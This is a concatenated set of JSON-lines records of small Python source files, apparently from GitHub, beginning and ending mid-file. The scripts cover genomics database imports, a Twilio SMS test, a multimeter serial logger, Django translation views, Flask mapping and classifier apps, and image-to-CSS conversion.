open(embeddings_filepath, 'r') as ef:\n for line in ef:\n comps = line.split(\" \")\n word = comps[0]\n if not word in word_int_map:\n word_count += 1\n word_int_map[word] = word_count\n print(len(word_int_map))\n return word_int_map\n\ndef check_coverage(trueviz_dir_path, vocab_intmap):\n num_words = 0\n num_in_vocab = 0\n for root, subdirs, files in os.walk(trueviz_dir_path):\n for tv_file in files:\n if '.cxml' in tv_file:\n src_file_path = root + os.sep + tv_file\n doc = parse_doc(src_file_path)\n for word in doc.words():\n if word.text in vocab_intmap:\n num_in_vocab += 1\n else:\n # sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout)\n try:\n print(word.text)\n except UnicodeEncodeError:\n print('not real unicode?')\n except UnicodeDecodeError:\n print(\"ascii can't decode this or something\")\n num_words += 1\n print(\"Embeddings coverage: \", float(num_in_vocab)/num_words)\n\n\ndef main():\n arg_parser = argparse.ArgumentParser(description='Get the vocab from an embeddings file')\n arg_parser.add_argument('embeddings_file_path')\n arg_parser.add_argument('target_path')\n arg_parser.add_argument('--dir', type=str, help='true-viz directory (if you want to check embeddings coverage)', required=False)\n args = arg_parser.parse_args()\n\n vocab_intmap = create_vocab(args.embeddings_file_path)\n # print(\"saving vocab map\")\n # with open(args.target_path, 'wb') as f:\n # pickle.dump(vocab_intmap, f, pickle.HIGHEST_PROTOCOL)\n # print(\"done pickling. checking coverage...\")\n check_coverage(args.dir, vocab_intmap)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"mmcmahon13/deep-metadata-extraction","sub_path":"src/get_w2v_vocab.py","file_name":"get_w2v_vocab.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"29002402065","text":"import pymongo\r\nimport json\r\nimport argparse,os\r\nclient = pymongo.MongoClient('mongodb://127.0.0.1:27017')\r\ndb = client.CEdb\r\n\r\n#eqtl_filepath=\"/NAS/luozh/CancerEnhancerDB/step1_data/cancer_eQTL_total.bed\"\r\ndef import_cancer_eqtl_enhancers(eqtl_filepath):\r\n with open(eqtl_filepath, \"r\") as reader:\r\n header = [\"chr\", \"start\", \"end\", \"gene\", \"rsid\", \"fdr\", \"phenotype\"]\r\n for line in reader:\r\n fields = line.rstrip(\"\\n\").split(\"\\t\")\r\n record = dict(zip(header, fields))\r\n for k in record:\r\n if k in [\"fdr\"]:\r\n record[k] = float(record[k])\r\n for k in record:\r\n if k in [\"start\",\"end\"]:\r\n record[k] = int(record[k])\r\n d = \"eqtl_cancer_\"+record[\"chr\"]\r\n db[d].insert_one(record)\r\n\r\n#gwas_filepath=\"/NAS/luozh/CancerEnhancerDB/step1_data/gwas_snp.bed\"\r\ndef import_GWAS_snp_enhancers(gwas_filepath):\r\n with open(gwas_filepath, \"r\") as reader:\r\n header = [\"chr\", \"start\", \"end\", \"gene\", \"rsid\", \"phenotype\",\"region\", \"fdr\",\"pubmed_id\"]\r\n for line in reader:\r\n fields = line.rstrip(\"\\n\").split(\"\\t\")\r\n record = dict(zip(header, fields))\r\n for k in record:\r\n if k in [\"fdr\"]:\r\n record[k] = float(record[k])\r\n for k in record:\r\n if k in [\"start\",\"end\"]:\r\n record[k] = int(record[k])\r\n d = \"eqtl_gwas_\"+record[\"chr\"]\r\n db[d].insert_one(record)\r\n\r\n\r\n#gtex_filepath=\"/NAS/luozh/CancerEnhancerDB/step1_data/primary_tissue_used_gtex_snp_unique_redundent.txt\"\r\ndef import_gtex_eqtl_enhancers(gtex_filepath):\r\n with open(gtex_filepath, \"r\") as reader:\r\n header = [\"chr\", \"start\", \"end\", \"rsid\", \"tissue\"]\r\n for line in reader:\r\n fields = line.rstrip(\"\\n\").split(\":\")\r\n record = dict(zip(header, fields))\r\n tissue_str = record[\"tissue\"].split(\",\")\r\n h = [\"gene\", \"fdr\", \"phenotype\"]\r\n nn = []\r\n for i in tissue_str:\r\n aa = dict(zip(h, i.split(\"\\t\")))\r\n aa[\"fdr\"]=float(aa[\"fdr\"])\r\n nn.append(aa)\r\n record[\"tissue\"] = nn\r\n for k in record:\r\n if k in [\"start\",\"end\"]:\r\n record[k] = int(record[k])\r\n d = \"eqtl_gtex_\"+record[\"chr\"]\r\n db[d].insert_one(record)\r\n\r\n\r\n#gtex_filepath=\"/NAS/luozh/CancerEnhancerDB/step1_data/primary_tissue_used_gtex_snp_unique_redundent.txt\"\r\n#gtex_cell_filepath=\"/NAS/luozh/CancerEnhancerDB/cell_line_data/cell_line_used_gtex_snp_unique_redundent.txt\"\r\ndef import_cell_line_gtex_eqtl_enhancers(gtex_filepath,gtex_cell_filepath):\r\n with open(gtex_cell_filepath, \"r\") as reader_new:\r\n new = []\r\n for line in reader_new:\r\n new.append(line.rstrip(\"\\n\").split(\":\")[3])\r\n old = []\r\n for table in db.list_collection_names():\r\n if table.startswith(\"eqtl_gtex_\"):\r\n old = old+db[table].distinct('rsid')\r\n retD = list(set(new).difference(set(old)))\r\n with open(gtex_cell_filepath, \"r\") as reader:\r\n header = [\"chr\", \"start\", \"end\", \"rsid\", \"tissue\"]\r\n for line in reader:\r\n fields = line.rstrip(\"\\n\").split(\":\")\r\n record = dict(zip(header, fields))\r\n if record['rsid'] in retD:\r\n d = \"eqtl_gtex_\"+record[\"chr\"]\r\n if db[d].find_one({\"rsid\":record[\"rsid\"]}):\r\n print(\"is ok\")\r\n continue\r\n tissue_str = record[\"tissue\"].split(\",\")\r\n h = [\"gene\", \"fdr\", \"phenotype\"]\r\n nn = []\r\n for i in tissue_str:\r\n aa = dict(zip(h, i.split(\"\\t\")))\r\n aa[\"fdr\"]=float(aa[\"fdr\"])\r\n nn.append(aa)\r\n record[\"tissue\"] = nn\r\n for k in record:\r\n if k in [\"start\",\"end\"]:\r\n record[k] = int(record[k])\r\n d = \"eqtl_gtex_\"+record[\"chr\"]\r\n db[d].insert_one(record)\r\n\r\n\r\n\r\n\r\n\r\ndef deleeqtl():\r\n for table in db.list_collection_names():\r\n if table.startswith(\"eqtl_gtex_\"):\r\n if table != \"super_enhancer\" and table != \"sample_info\":\r\n db[table].drop()\r\n print(table)\r\n\r\n\r\n\r\nif __name__ ==\"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"inputfile\", help=\"the input file you give,must be csv file\", type=str)\r\n args = parser.parse_args()\r\n inputfile = args.inputfile\r\n import_cancer_eqtl_enhancers(inputfile)","repo_name":"shimw6828/CEdb-portal","sub_path":"cedb/tools/cancer_eqtl_import.py","file_name":"cancer_eqtl_import.py","file_ext":"py","file_size_in_byte":4662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39780748032","text":"from rest_framework.throttling import UserRateThrottle\n\n\nclass NonStaffUserThrottle(UserRateThrottle):\n scope = 'non_staff_user'\n\n def get_cache_key(self, request, view):\n if request.user.is_authenticated:\n if request.user.is_staff:\n return None\n else:\n ident = request.user.pk\n else:\n ident = self.get_ident(request)\n\n return self.cache_format % {\n 'scope': self.scope,\n 'ident': ident\n }\n","repo_name":"willemarcel/osmcha-django","sub_path":"osmchadjango/changeset/throttling.py","file_name":"throttling.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"19"} +{"seq_id":"25802805849","text":"from twilio.rest import Client\nimport json\n\nwith open('creds.json') as f:\n secrets = json.load(f)\n\naccount_sid = secrets[\"account_sid\"]\nauth_token = secrets[\"auth_token\"]\nclient = Client(account_sid, auth_token)\n\nmessage = client.messages.create(\n from_='+12564155837',\n body='I cannot believe this works!',\n to='+19374227609'\n)\n\nprint(message.sid)\n","repo_name":"chaddymac/PythonSMS","sub_path":"PythonSMS.py","file_name":"PythonSMS.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"35210429869","text":"m, n = map(int, input().split())\r\nlst = [list(map(int, list(input()))) for _ in range(m)]\r\nvisited = [[0]*n for _ in range(m)]\r\nd = ((1,0),(0,1),(-1,0),(0,-1))\r\nfor i in range(n):\r\n if lst[0][i]:\r\n continue\r\n s = [[0,i]]\r\n while s:\r\n r, c = s.pop()\r\n visited[r][c] = 1\r\n for dr, dc in d:\r\n if 0<=r+dr<=m-1 and 0<=c+dc<=n-1 and not visited[r+dr][c+dc] and not lst[r+dr][c+dc]:\r\n if r+dr == m-1:\r\n print('YES')\r\n exit()\r\n s.append([r+dr, c+dc])\r\nprint('NO')","repo_name":"KimYoungSeok15/baekjun_swea","sub_path":"백준/Silver/13565. 침투/침투.py","file_name":"침투.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"4354599348","text":"# Credit: @junferno\nimport PIL.Image\nimport cv2\nimport numpy\nfrom PIL import Image\nfrom tqdm import tqdm\n\nimport image_util\nimport bfs_util\nimport cv_util\nimport triangle_util\n\nif __name__ == '__main__':\n im = Image.open(\"test5.png\")\n # im = im.resize((im.width * 2, im.height * 2), PIL.Image.BILINEAR)\n matrix = image_util.get_image_rgb_matrix(im)\n\n region_iterator = bfs_util.bfs_image_matrix(matrix)\n\n all_triangles = []\n all_contours = []\n failed_contours = []\n for area, color in region_iterator:\n triangles_out, approx_contours, failed = cv_util.find_contours_of_image(Image.fromarray(area))\n for out in triangles_out:\n all_triangles.append([out, color])\n for out in approx_contours:\n all_contours.append([out, color])\n for out in failed:\n failed_contours.append([out, color])\n\n drawn_triangles = []\n for triangle, color in all_triangles:\n poly = numpy.array(triangle).reshape((-1, 1, 2))\n drawn_triangles.append(poly)\n\n drawn_contours = []\n for contour, color in all_contours:\n drawn_contours.append(contour)\n\n drawn_failed_contours = []\n for contour, color in all_contours:\n drawn_failed_contours.append(contour)\n\n debug_numpy = numpy.array(im.convert(\"RGB\"))\n test_contours = cv2.drawContours(debug_numpy, drawn_contours, -1, (0, 255, 255), 1)\n cv2.imshow(\"Test contours\", test_contours)\n test_triangles = cv2.drawContours(debug_numpy, drawn_triangles, -1, (0, 255, 255), 1)\n cv2.imshow(\"Test triangles\", test_triangles)\n test_failed = cv2.drawContours(debug_numpy, drawn_contours, -1, (0, 0, 255), 1)\n cv2.imshow(\"Failures\", test_failed)\n\n layers = []\n for triangle, color in all_triangles:\n converted = triangle_util.convert_triangle(triangle, color)\n for layer in converted:\n layers.append(layer)\n layers.reverse()\n layer_string = ',\\n'.join(layers)\n rule = \"\"\"\n html, body {{\n width: 100%;\n height: 100%;\n margin: 0;\n }}\n \n body {{\n background: {};\n background-repeat: no-repeat;\n }}\"\"\".format(layer_string)\n\n with open(\"styles.css\", \"w\") as f:\n f.write(rule)\n\n cv2.waitKey(0)\n im.close()\n","repo_name":"khanhtranngoccva/css-single-div-experiment","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"546920491","text":"#!/usr/bin/python3\nimport sys\nimport serial\nimport time\nimport csv\nimport os\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport numpy as np\nimport argparse\n\n#global variables:\ndmm = None\ndmm = serial.Serial(port=\"/dev/ttyS0\", baudrate=115200, timeout=1)\ncurrent_time = 0\n#graphing variables:\nx_axis = []\ny_axis = []\n\n#helper functions:\ndef _readline(self):\n eol = b'\\r'\n leneol = len(eol)\n line = bytearray()\n while True:\n char = self.read(1)\n #print(\"char read\" + char.decode(\"utf-8\") + \"\\n\")\n if char:\n line += char\n if line[-leneol:] == eol:\n break\n else:\n break\n return bytes(line)\n\ndef report(dmm):\n if dmm:\n dmm.write(b\"read? buf\\r\")\n\n rx_line = _readline(dmm).decode(\"utf-8\")\n #print(f\"RX: {char}\")\n reply_list = rx_line.split(',')\n str_value = reply_list[0].lower()\n #print(f\"{str_value}\")\n return float(str_value)\n\ndef shift(array, length):\n for i in range(int(length-1)):\n array[i] = array[i+1]\n array.pop(int(length-1))\n\ndef animate(i, *args):\n current_time = (time.clock_gettime(time.CLOCK_BOOTTIME)) - args[1]\n sample = report(dmm)\n x_axis.append(current_time)\n print(current_time) #print every 0.02816448 (0.1) 0.025755751\n y_axis.append(sample)\n length = args[2]/args[3]\n #print(\"length of array = \" + str(len(y_axis)))\n if len(y_axis) > length:\n #print(\"condition met, len(x_axis) = \" + str(len(y_axis)))\n shift(x_axis, length)\n shift(y_axis, length)\n args[0].clear()\n args[0].plot(x_axis,y_axis)\n\ndef graph(args):\n plt.plot(x_axis, y_axis)\n plt.title(args.Signal + \" vs \" + \"Time\")\n plt.xlabel('Time')\n plt.ylabel(args.Signal +'(' + args.Mode + ')')\n fig = plt.gcf()\n fig.savefig(args.File_name + \".png\")\n plt.show()\n\n#sub-command functions:\ndef track(args):\n #define figure:\n fig = plt.figure()\n graph1 = fig.add_subplot(1,1,1)\n start_time = time.clock_gettime(time.CLOCK_BOOTTIME)\n animate_args = (graph1, start_time, args.Domain, args.Time_step)\n #print(\"Time_step = \" + str(args.Time_step * 1000))\n time_step = args.Time_step - 0.026760728 #sampling error added by execution time of program\n #animate:\n ani = animation.FuncAnimation(fig, animate, fargs = animate_args, interval = (time_step * 1000))\n plt.show()\n\ndef save(args):\n sampling_period = args.Time_step - 0.003525398 #executioon of program adds samplig error\n start_time = time.clock_gettime(time.CLOCK_BOOTTIME)\n current_time = (time.clock_gettime(time.CLOCK_BOOTTIME)) - start_time\n\n while(current_time <= args.Sample_duration):\n #print(f\"Value: {report(dmm)}\")\n #print(f\"current_time = \", current_time)\n sample = report(dmm)\n line = [current_time, sample]\n x_axis.append(current_time)\n y_axis.append(sample)\n\n with open(args.File_name + \".csv\", \"a\") as log_file:\n log_writer = csv.writer(log_file, dialect='excel')#,quoting= csv.QUOTE_NONNUMERIC)\n log_writer.writerow(line)\n\n current_time = (time.clock_gettime(time.CLOCK_BOOTTIME)) - start_time\n time.sleep(sampling_period)\n \n graph(args)\n\n\n#create the top-level parser\nparser = argparse.ArgumentParser(description = \"This program reads data from the GWINSTEK GDM-8261A multimeter over a RS232 connection. Ensure that the multimater is connected and turned on(with the correct configuration setup on the actual device) before this program is run.\")\nsubparsers = parser.add_subparsers(help = \"sub-command help\")\n\n#creating parser for \"track command\":\nparser_track = subparsers.add_parser(\"track\", help = \"This command will display a graph that tracks the samples taken from the multimeter.\")\nparser_track.add_argument(\"Domain\", type = int, help = \"The domain of the graph to be displayed\")\nparser_track.add_argument(\"Time_step\", type = float, help = \"The sampling period in seconds i.e. time between succesive samples\")\nparser_track.set_defaults(func = track) #define the tracking function now\n\n#creating parer for \"save\" command:\nparser_save = subparsers.add_parser(\"save\", help = \"This command will display the samples taken as a graph and store the raw data in a .csv file - the graph is also stored as a .png file.\")\nparser_save.add_argument(\"File_name\", type = str, help = \"The name of the csv file where measured data will be stored\")\nparser_save.add_argument(\"Signal\", type = str, help = \"The signal being measured i.e. Voltage\")\nparser_save.add_argument(\"Mode\", type = str, help = \"This can either be the value \\\"AC\\\" or \\\"DC\\\"\")\nparser_save.add_argument(\"Sample_duration\", type = float, help = \"The duration over which the sampling takes place\")\nparser_save.add_argument(\"Time_step\", type = float, help = \"The sampling period in seconds i.e. time between succesive samples\")\nparser_save.set_defaults(func = save)\n\n#parse arguments and call whatever function was selected\nargs = parser.parse_args()\nargs.func(args)\n\n# def main():\n\n# if __name__ == \"__main__\":\n# main()\n\n","repo_name":"Renegade13Code/dmm_logger","sub_path":"python/serial_sceleton.py","file_name":"serial_sceleton.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40913466678","text":"from django.shortcuts import render, redirect,reverse, HttpResponseRedirect, get_object_or_404\nfrom django.views.generic import ListView, CreateView, UpdateView, DetailView,DeleteView\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.mixins import LoginRequiredMixin,UserPassesTestMixin\nfrom django import forms\nfrom .models import Translator\nfrom translate import Translator as tr\n# Create your views here.\n\n@login_required\ndef tool_view(request):\n return render(request,\"Miscellaneous/tools.html\")\n\n@login_required\ndef profile(request,username,pk):\n return render(request,\"Miscellaneous/profile.html\")\n\n@login_required\ndef delete_user_view(request,username,pk):\n return render(request, \"Miscellaneous/delete_user.html\")\n\n@login_required\ndef delete_user(request,username,pk):\n if request.POST:\n obj = get_object_or_404(User, username = request.user.username, id =request.user.id)\n print(obj.username)\n obj.delete()\n return redirect(\"Login\")\n else:\n return render(request, \"Miscellaneous/delete_user.html\")\n\n@login_required\ndef translation_view(request):\n return render(request,\"Miscellaneous/translator.html\")\n\nclass TranslateForm(forms.ModelForm):\n class Meta:\n model = Translator\n fields = ['username','orgin_language','new_language','text_to_translate']\n widgets = {\n 'username': forms.TextInput(attrs={\"required\":True}),\n \"text_to_translate\":forms.Textarea(attrs={\n \"required\":True,\n \"placeholder\":\"Max of 1000 characters\",\n \"rows\":5,\n \"cols\":50})\n }\n\n@login_required\ndef translate_form_view(request):\n form = TranslateForm()\n return render(request,\"Miscellaneous/translate.html\",{\"form\":form})\n\ndef translate(request):\n form = TranslateForm()\n if request.POST:\n form = TranslateForm(request.POST)\n if form.is_valid():\n if request.POST['username']==request.user.username:\n ol = request.POST['orgin_language']\n nl = request.POST['new_language']\n tot = request.POST['text_to_translate']\n translator = tr(from_lang = ol, to_lang = nl)\n translation = translator.translate(tot)\n message = f\"{ol} IS AN INVALID SOURCE LANGUAGE . EXAMPLE: LANGPAIR=EN|IT USING 2 LETTER ISO OR RFC3066 LIKE ZH-CN. ALMOST ALL LANGUAGES SUPPORTED BUT SOME MAY HAVE NO CONTENT\"\n message1 =f\"{nl} IS AN INVALID SOURCE LANGUAGE . EXAMPLE: LANGPAIR=EN|IT USING 2 LETTER ISO OR RFC3066 LIKE ZH-CN. ALMOST ALL LANGUAGES SUPPORTED BUT SOME MAY HAVE NO CONTENT\"\n if message == translation:\n return render(request,\"Miscellaneous/bad_lang.html\")\n elif message1 == translation:\n return render(request,\"Miscellaneous/bad_lang.html\")\n else:\n new_obj = Translator.objects.create(owner= request.user, username = request.user.username, orgin_language = ol,\n new_language = nl, text_to_translate = tot, translation = translation)\n id = new_obj.id\n return redirect(\"Tools:translated\",orgin_language=ol, new_language=nl,pk=id)\n else:\n return render(request,\"Miscellaneous/bad_name3.html\")\n else:\n form = TranslateForm()\n return render(request,\"Miscellaneous/translate.html\",{\"form\":form})\n else:\n form = TranslateForm()\n return render(request,\"Miscellaneous/translate.html\",{\"form\":form})\n\n@login_required\ndef translated(request,orgin_language,new_language,pk):\n obj = Translator.objects.filter(id=pk,orgin_language=orgin_language,new_language=new_language).get()\n return render(request, \"Miscellaneous/translated.html\",{\"result\":obj})\n\n@method_decorator(login_required,name=\"dispatch\")\nclass ViewTranslationLogs(ListView):\n template_name = \"Miscellaneous/t-logs.html\"\n model = Translator\n context_object_name=\"translated\"\n ordering=['-time']\n\n@method_decorator(login_required,name=\"dispatch\")\nclass ViewTranslationLog(DetailView):\n template_name = \"Miscellaneous/view_t-log.html\"\n model = Translator\n context_object_name=\"translated\"\n\n\n@login_required\ndef DeleteTLog(request,orgin_language,new_language,pk):\n obj = get_object_or_404(Translator,id=pk,orgin_language=orgin_language, new_language= new_language)\n return render(request,\"Miscellaneous/delete_t_log.html\",{\"translated\":obj})\n\n@login_required\ndef deletetlog(request,orgin_language,new_language,pk):\n obj = get_object_or_404(Translator,id=pk,orgin_language=orgin_language, new_language= new_language)\n obj.delete()\n return redirect(\"Tools:t-logs\")\n\n@login_required\ndef cc(request):\n return render(request,\"Miscellaneous/cc.html\")\n\n@login_required\ndef maps(request):\n return render(request,\"Miscellaneous/maps.html\")\n\n@login_required\ndef weather(request):\n return render(request,\"Miscellaneous/weather.html\")\n\n@login_required\ndef auth(request):\n return render(request,\"Miscellaneous/auth.html\")\n\n@login_required\ndef pi(request):\n return render(request,\"Miscellaneous/images.html\")\n","repo_name":"kd1726/SmartPhone-Simulator","sub_path":"Miscellaneous/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"34329154107","text":"import json\nimport os\nfrom google.cloud import storage\n\n# Create a client for Google Cloud Storage\nclient = storage.Client()\n\n# Define the names of the input and output files and buckets\ninput_bucket_name = \"twibot-22-devided\"\noutput_bucket_name = \"twibot-22-parsed\"\nfilename_base = \"tweets_\"\njson_extension = \".json\"\nnum_of_files = 106\n\n\n# Iterate over all files:\nfor indx in range(num_of_files):\n input_file = filename_base + str(indx).zfill(3) + json_extension\n output_file = input_file\n\n print(\"Reading input file: \", input_file)\n # Read the input file from Google Cloud Storage\n input_bucket = client.bucket(input_bucket_name)\n input_blob = input_bucket.blob(input_file)\n org_input_data = input_blob.download_as_string().decode(\"utf-8\")\n\n input_data = []\n for line in org_input_data.splitlines():\n input_data.append(json.loads(line))\n\n print(\"Start parsing..\")\n for item in input_data:\n with open(output_file, \"a+\") as f:\n if (('geo' in item) and item['geo']):\n if ('coordinates' in item['geo']):\n if ('coordinates' in item['geo']['coordinates']):\n item['geo']['coordinates'] = item['geo']['coordinates']['coordinates']\n if ('type' in item['geo']['coordinates']):\n item['geo']['type'] = item['geo']['coordinates']['type']\n latitude, longitude = item['geo']['coordinates']\n item['geo']['coordinates'] = {}\n item['geo']['coordinates']['latitude'] = float(latitude)\n item['geo']['coordinates']['longitude'] = float(longitude)\n f.write(json.dumps(item) + \"\\n\")\n\n print(\"Saving parsed data to bucket..\")\n # Store the output file in Google Cloud Storage\n output_bucket = client.bucket(output_bucket_name)\n output_blob = output_bucket.blob(output_file)\n output_blob.upload_from_filename(output_file)\n\n path = \"./\" + output_file\n os.remove(path)","repo_name":"AleksandraRolka/master-thesis","sub_path":"data-preprocessing/scripts/tweets/3_parse_geo_coordinates.py","file_name":"3_parse_geo_coordinates.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"5515595704","text":"import folium\nfrom folium import plugins\nfrom flask import Flask\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n m = folium.Map(location=[51.656859, 39.205926],\n tiles='openstreetmap',\n zoom_start=12)\n draw = plugins.Draw(export=True)\n folium.TileLayer('Stamen Terrain').add_to(m)\n folium.TileLayer('CartoDB Positron').add_to(m)\n measure_control = plugins.MeasureControl(position='topleft',\n active_color='red',\n completed_color='red',\n primary_length_unit='miles')\n\n all_subgroups = folium.FeatureGroup(name='Хорошее место')\n m.add_child(all_subgroups)\n\n tooltip = 'ВГУ'\n tooltip_2 = 'Oscar beef'\n tooltip_3 = 'Biga'\n tooltip_4 = 'Chayhona'\n tooltip_5 = 'Сулико'\n\n folium.Marker([51.656859, 39.205926], popup=('<a href=\"http://www.vsu.ru/\"> Link </a>'), tooltip=tooltip,\n icon=folium.Icon(color=\"red\")).add_to(m)\n folium.Marker([51.666888, 39.205913], popup=('<a href=\"https://oscarbeef.business.site/\"> Link </a>'),\n tooltip=tooltip_2, icon=folium.Icon(color=\"red\")).add_to(m)\n folium.Marker([51.674031, 39.208084], popup=('<a href=\"https://bigapizza.ru/\"> Link </a>'), tooltip=tooltip_3,\n icon=folium.Icon(color=\"red\")).add_to(m)\n folium.Marker([51.668914, 39.198823], popup=('<a href=\"https://chaihona.ru/vrg/> Link </a>'), tooltip=tooltip_4,\n icon=folium.Icon(color=\"red\")).add_to(m)\n folium.Marker([51.658568, 39.204931], popup=('<a href=\"https://suliko-belucci.ru/> Link </a>'), tooltip=tooltip_5,\n icon=folium.Icon(color=\"red\")).add_to(m)\n\n draw.add_to(m)\n folium.LayerControl().add_to(m)\n m.add_child(measure_control)\n # m.add_child(folium.LatLngPopup()) Под вопросом, иногда мешается\n m.save('name.html')\n return m._repr_html_()\n\n\n# 51.656859, 39.205926\n# 51.666888, 39.205913 Oscar beef\n# 51.674031, 39.208084 Biga\n# 51.668914, 39.198823 Chayhona\n# 51.658568, 39.204931 Сулико\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"Slidanchick/maps","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"9643349692","text":"import webapp2\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom google.appengine.ext.webapp import util, template\nfrom google.appengine.ext import db\nfrom google.appengine.api import mail\nfrom appengine_utilities import sessions\nimport datetime\n\nclass HomeHandler(webapp2.RequestHandler):\n def get(self):\n self.response.out.write(template.render('templates/Howdoesitwork.html', locals()))\n\nclass ThanksHandler(webapp2.RequestHandler):\n def get(self):\n session = sessions.Session()\n email = session[\"Email\"]\n self.response.out.write(template.render('templates/thanks.html', locals()))\n\n###User###\nclass User(db.Model):\n email = db.EmailProperty()\n area = db.StringListProperty()\n register_date = db.DateTimeProperty(auto_now_add=True)\n\nclass AddUser(webapp2.RequestHandler):\n def post(self):\n session = sessions.Session()\n ### Database entry ###\n user = User()\n user.email = self.request.get('email')\n user.city = str(self.request.get('city'))\n user.area = list(self.request.get_all('area'))\n user.put()\n ### Email to YDD ###\n session[\"Email\"] = user.email\n message = mail.EmailMessage(sender=\"YourDinnerDeals <jong.vincent@gmail.com>\",\n subject=\"A User has Subscribed\")\n message.to=\"Vincent Jong <jong.vincent@gmail.com>\",\n message.body= session[\"Email\"]\n message.send()\n ### Email to User ###\n template_values = {\n 'email': session[\"Email\"], \n }\n message = mail.EmailMessage(sender=\"YourDinnerDeals <jong.vincent@gmail.com>\",\n subject=\"Welcome to Your Dinner Deals\")\n message.to= session[\"Email\"],\n message.body= template.render('templates/confirm-email.html', template_values) \n message.html= template.render('templates/confirm-email.html', template_values) \n message.send()\n ### Redirect ###\n self.redirect('/thanks')\n\n###Menu###\n\nclass AboutUs(webapp2.RequestHandler):\n def get(self):\n self.response.out.write(template.render('templates/aboutus.html', {}))\n\nclass Terms(webapp2.RequestHandler):\n def get(self):\n self.response.out.write(template.render('templates/terms.html', {}))\n\nclass SignupHandler(webapp2.RequestHandler):\n def get(self):\n self.response.out.write(template.render('templates/signup.html', {}))\n\n\napp = webapp2.WSGIApplication([\n ('/', HomeHandler),\n ('/thanks', ThanksHandler),\n ('/aboutus', AboutUs),\n ('/terms', Terms),\n ('/signup', SignupHandler),\n ('/signupexe', AddUser)], debug=True)","repo_name":"Hajfajf/YDD","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"11571729899","text":"#This file will need to use the DataManager,FlightSearch, FlightData, NotificationManager classes to achieve the program requirements.\nfrom pprint import pprint\nfrom data_manager import DataManager\nfrom flight_search import FlightSearch\nfrom notification_manager import NotificationManager\n\nDM = DataManager()\nFS = FlightSearch()\nNM = NotificationManager()\n\nsheet_data = DM.get_flight_data()\n\nfor flight in sheet_data:\n if flight['iataCode'] == '':\n new_iata_code = FS.check_iata_code(flight)\n flight['iataCode'] = new_iata_code\n DM.update_flight_data(flight)\n else:\n flight_data = FS.flight_data_search(flight['iataCode'])\n if int(flight_data.price) < int(flight['lowestPrice']):\n NM.send_sms(f\"Low price alert! Only R${flight_data.price} to fly from {flight_data.origin_city}-{flight_data.origin_airport} to {flight_data.destination_city}-{flight_data.destination_airport} from {flight_data.out_date} to {flight_data.return_date}\")\n","repo_name":"jvdpt0/Flight-Price-Notifier","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"6360691488","text":"# importamos lo necesario\r\nfrom flask import Flask, render_template, request\r\nimport pickle\r\nimport numpy as np\r\n\r\n# Instancia de Flask. Aplicación\r\napp = Flask(__name__,template_folder='template')\r\n\r\n# Creamos nuestro primer route. '/login'\r\n@app.route('/login')\r\ndef template():\r\n\t# Renderizamos la plantilla. Formulario HTML.\r\n\t# templates/form.html\r\n\treturn render_template(\"pagina.html\")\r\n\r\n@app.route('/usuario',methods=['GET'])\r\ndef validacion():\r\n\twith open('modelo.bin','rb') as f:\r\n \t\tlogreg = pickle.load(f)\r\n\t\r\n\tl_sepalo = float(request.args.get('larg_sepalo'))\r\n\ta_sepalo = float(request.args.get('anch_sepalo'))\r\n\tl_petalo = float(request.args.get('larg_petalo'))\r\n\r\n\t\r\n\tZ = logreg.predict(np.c_[l_sepalo,a_sepalo,l_petalo])\r\n\r\n\tif Z == 0:\r\n\t\tmata ='I.setosa'\r\n\telif Z == 1:\r\n\t\tmata ='I. versicolor'\r\n\telif Z == 2:\r\n\t\tmata ='I. virginica'\r\n\telse:\r\n\t\tmata ='revisate loco'\r\n\t\r\n\treturn mata\r\n\r\nif __name__ == '__main__':\r\n\t# Iniciamos la apicación en modo debug\r\n\tapp.run(host='127.0.0.1',\r\n\t\t\tdebug=True,\r\n port=5000)","repo_name":"bryanbl/Tarea3","sub_path":"get.py","file_name":"get.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"36091464498","text":"#lex_auth_0127382283825971201450\n\ndef max_frequency_word_counter(data):\n word=\"\"\n frequency=0\n \n l = data.split();\n resData = {} #word, freq, len\n \n for i in l :\n resData[i.lower()] = resData.get(i.lower(), [0,0])[0] + 1, len(i)\n \n # resData = 